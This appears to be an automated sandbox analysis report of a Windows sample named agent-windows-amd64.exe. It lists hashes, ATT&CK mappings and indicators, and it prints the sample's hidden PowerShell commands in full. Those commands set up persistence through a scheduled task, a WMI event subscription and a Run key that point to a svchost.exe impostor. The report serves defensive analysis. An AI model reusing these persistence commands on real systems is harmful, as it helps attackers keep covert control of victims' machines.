eb37beed1087d35fd76c280ed2f05597ad889d60fb2285f414dc45baed6f31b4

Analysis

user interaction
yes
max time kernel
149s
max time network
153s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
29/04/2026, 13:00

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
agent-windows-amd64.exe
Size 22.3MB
Sample260429-p83rtaf19q
SHA256 eb37beed1087d35fd76c280ed2f05597ad889d60fb2285f414dc45baed6f31b4
MD5 88756a1f1e83da45a18b2dc22f9866b3
SHA1 e11baaf94565d3ab26bfcfd322bdf7a3fa193ece
SHA512 f6f2c4f94c71d88371227decce3e31553ec3e1e457667ded08ae8cf04f2d5dbaec17b46e9dd6ce35b067c4a13a618428d2c296078ba3daba71ba0836432e0868
SSDEEP 98304:ki1PxXH7DwQY1zfwYuC1KROowZlXdtoxT34pMRgMKnBx4v4P/8X/mXIN/xWJDdyW:kg57Dwh1zIYP+2kdRGBbw/mYLgIB1q1
TLSH
T109372927E8A265D4C4EAC174C772817BBA617C1E1B7813D70690B7201F36BE0EEB6B51
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4000	powershell.exe
3900	powershell.exe
3336	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\agent-166363330.tmp	agent-windows-amd64.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\agent-3664292896.tmp	svchost.exe

Executes dropped EXE 1 IoCs

pid	Process
5916	svchost.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1456842261-3464001825-2855069093-1000\Software\Microsoft\Windows\CurrentVersion\Run\OverlordAgent-7a3a1b4a = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\DeviceSync\\svchost.exe\""	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1456842261-3464001825-2855069093-1000\Software\Microsoft\Windows\CurrentVersion\Run\OverlordAgent-7a3a1b4a = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\DeviceSync\\svchost.exe\""	agent-windows-amd64.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3336	powershell.exe
3336	powershell.exe
4000	powershell.exe
4000	powershell.exe
3900	powershell.exe
3900	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3336	powershell.exe
Token: SeDebugPrivilege	4000	powershell.exe
Token: SeIncreaseQuotaPrivilege	3336	powershell.exe
Token: SeSecurityPrivilege	3336	powershell.exe
Token: SeTakeOwnershipPrivilege	3336	powershell.exe
Token: SeLoadDriverPrivilege	3336	powershell.exe
Token: SeSystemProfilePrivilege	3336	powershell.exe
Token: SeSystemtimePrivilege	3336	powershell.exe
Token: SeProfSingleProcessPrivilege	3336	powershell.exe
Token: SeIncBasePriorityPrivilege	3336	powershell.exe
Token: SeCreatePagefilePrivilege	3336	powershell.exe
Token: SeBackupPrivilege	3336	powershell.exe
Token: SeRestorePrivilege	3336	powershell.exe
Token: SeShutdownPrivilege	3336	powershell.exe
Token: SeDebugPrivilege	3336	powershell.exe
Token: SeSystemEnvironmentPrivilege	3336	powershell.exe
Token: SeRemoteShutdownPrivilege	3336	powershell.exe
Token: SeUndockPrivilege	3336	powershell.exe
Token: SeManageVolumePrivilege	3336	powershell.exe
Token: 33	3336	powershell.exe
Token: 34	3336	powershell.exe
Token: 35	3336	powershell.exe
Token: 36	3336	powershell.exe
Token: SeIncreaseQuotaPrivilege	3336	powershell.exe
Token: SeSecurityPrivilege	3336	powershell.exe
Token: SeTakeOwnershipPrivilege	3336	powershell.exe
Token: SeLoadDriverPrivilege	3336	powershell.exe
Token: SeSystemProfilePrivilege	3336	powershell.exe
Token: SeSystemtimePrivilege	3336	powershell.exe
Token: SeProfSingleProcessPrivilege	3336	powershell.exe
Token: SeIncBasePriorityPrivilege	3336	powershell.exe
Token: SeCreatePagefilePrivilege	3336	powershell.exe
Token: SeBackupPrivilege	3336	powershell.exe
Token: SeRestorePrivilege	3336	powershell.exe
Token: SeShutdownPrivilege	3336	powershell.exe
Token: SeDebugPrivilege	3336	powershell.exe
Token: SeSystemEnvironmentPrivilege	3336	powershell.exe
Token: SeRemoteShutdownPrivilege	3336	powershell.exe
Token: SeUndockPrivilege	3336	powershell.exe
Token: SeManageVolumePrivilege	3336	powershell.exe
Token: 33	3336	powershell.exe
Token: 34	3336	powershell.exe
Token: 35	3336	powershell.exe
Token: 36	3336	powershell.exe
Token: SeIncreaseQuotaPrivilege	3336	powershell.exe
Token: SeSecurityPrivilege	3336	powershell.exe
Token: SeTakeOwnershipPrivilege	3336	powershell.exe
Token: SeLoadDriverPrivilege	3336	powershell.exe
Token: SeSystemProfilePrivilege	3336	powershell.exe
Token: SeSystemtimePrivilege	3336	powershell.exe
Token: SeProfSingleProcessPrivilege	3336	powershell.exe
Token: SeIncBasePriorityPrivilege	3336	powershell.exe
Token: SeCreatePagefilePrivilege	3336	powershell.exe
Token: SeBackupPrivilege	3336	powershell.exe
Token: SeRestorePrivilege	3336	powershell.exe
Token: SeShutdownPrivilege	3336	powershell.exe
Token: SeDebugPrivilege	3336	powershell.exe
Token: SeSystemEnvironmentPrivilege	3336	powershell.exe
Token: SeRemoteShutdownPrivilege	3336	powershell.exe
Token: SeUndockPrivilege	3336	powershell.exe
Token: SeManageVolumePrivilege	3336	powershell.exe
Token: 33	3336	powershell.exe
Token: 34	3336	powershell.exe
Token: 35	3336	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 4536 wrote to memory of 3336	4536	agent-windows-amd64.exe	78
PID 5916 wrote to memory of 4000	5916	svchost.exe	82
PID 5916 wrote to memory of 3900	5916	svchost.exe	85

C:\Users\Admin\AppData\Local\Temp\agent-windows-amd64.exe
"C:\Users\Admin\AppData\Local\Temp\agent-windows-amd64.exe"
1⤵
- Drops startup file
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:4536
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\svchost.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'svchost_e3c6bd17' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3336

C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\svchost.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\svchost.exe"
1⤵
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:5916
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\svchost.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'svchost_e3c6bd17' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4000
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance(); $f.QueryLanguage = 'WQL'; $f.Query = \"SELECT * FROM __InstanceCreationEvent WITHIN 30 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'explorer.exe'\"; $f.Name = 'svchost_fe3c6bd17'; $f.EventNameSpace = 'root\cimv2'; $null = $f.Put(); $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance(); $c.Name = 'svchost_ce3c6bd17'; $c.ExecutablePath = 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\svchost.exe'; $null = $c.Put(); $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance(); $b.Filter = \"\\.\root\subscription:__EventFilter.Name='svchost_fe3c6bd17'\"; $b.Consumer = \"\\.\root\subscription:CommandLineEventConsumer.Name='svchost_ce3c6bd17'\"; $null = $b.Put()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3900

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 3fc98f1a0dd73c0067a28034a6d84e86b27418d68cc2fdf26345be6f4217dcf1
MD5 9f3107a91c0a75eb75418f89fe7dcbcd
SHA1 4538595145969d10d68c8d5fd73d51a58cde93d4
SHA512 12506d31fba03a505c3921876135d8b9cd5fd3659c5c97b2158001ab788f0f9dcff055e95be1bd33583098848efd1036d05c0b6e23d7191b02b444a37d0dbf2c
TLSH
T1F381CD323375A0D4C9563F07192C19C463AF4396EA58AF4CB658620EE92B54BDB222F7
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 32bc08c5e4d3fb225bce68f45cff596f7463a64f45be77de5a512808e782d047
MD5 6d6ac658f00b84b8a1c1ca801bdd218f
SHA1 3bb362ccbd1fb324230f8f1586ff24b673bcb3b1
SHA512 fa2ca80eeff78323d194bcceffbe9e77abf161ecd42ba3fffea6f201b110216976daf918a641996d0b9f75566626bc15ba2d720ef183454efb612f83233fc68f
TLSH
T1BD216533B3ECC125C8D9117A208CAD00B2B5C3C7449E8F8B7A84C619957F9DADB641A4
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_kirav5li.wfn.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kirav5li.wfn.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

agent-3039835368.tmp

Path C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\agent-3039835368.tmp
Size 22.3MB
SHA256 eb37beed1087d35fd76c280ed2f05597ad889d60fb2285f414dc45baed6f31b4
MD5 88756a1f1e83da45a18b2dc22f9866b3
SHA1 e11baaf94565d3ab26bfcfd322bdf7a3fa193ece
SHA512 f6f2c4f94c71d88371227decce3e31553ec3e1e457667ded08ae8cf04f2d5dbaec17b46e9dd6ce35b067c4a13a618428d2c296078ba3daba71ba0836432e0868
SSDEEP 98304:ki1PxXH7DwQY1zfwYuC1KROowZlXdtoxT34pMRgMKnBx4v4P/8X/mXIN/xWJDdyW:kg57Dwh1zIYP+2kdRGBbw/mYLgIB1q1
TLSH
T109372927E8A265D4C4EAC174C772817BBA617C1E1B7813D70690B7201F36BE0EEB6B51
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/3336-45-0x0000019DE7120000-0x0000019DE7132000-memory.dmp

Download

memory/3336-46-0x0000019DE77B0000-0x0000019DE7806000-memory.dmp

Download

memory/3336-24-0x0000019DE7210000-0x0000019DE722C000-memory.dmp

Download

memory/3336-27-0x0000019DE74A0000-0x0000019DE7553000-memory.dmp

Download

memory/3336-34-0x0000019DE7230000-0x0000019DE723A000-memory.dmp

Download

memory/3336-35-0x0000019DE7260000-0x0000019DE727C000-memory.dmp

Download

memory/3336-8-0x0000019DE7170000-0x0000019DE7192000-memory.dmp

Download

memory/3336-15-0x0000019DE70A0000-0x0000019DE70B0000-memory.dmp

Download

memory/3336-44-0x0000019DCD2B0000-0x0000019DCD2BC000-memory.dmp

Download

memory/3336-6-0x0000019DE70A0000-0x0000019DE70B0000-memory.dmp

Download

memory/3336-7-0x0000019DE70A0000-0x0000019DE70B0000-memory.dmp

Download

memory/3900-64-0x00000194E6E80000-0x00000194E6E92000-memory.dmp

Download

memory/3900-63-0x00000194E6E30000-0x00000194E6E3C000-memory.dmp

Download

memory/4000-52-0x000001DFF06E0000-0x000001DFF06EC000-memory.dmp

Download

memory/4000-53-0x000001DFF2010000-0x000001DFF2022000-memory.dmp

Download

memory/4000-54-0x000001DFF2BF0000-0x000001DFF2C46000-memory.dmp

Download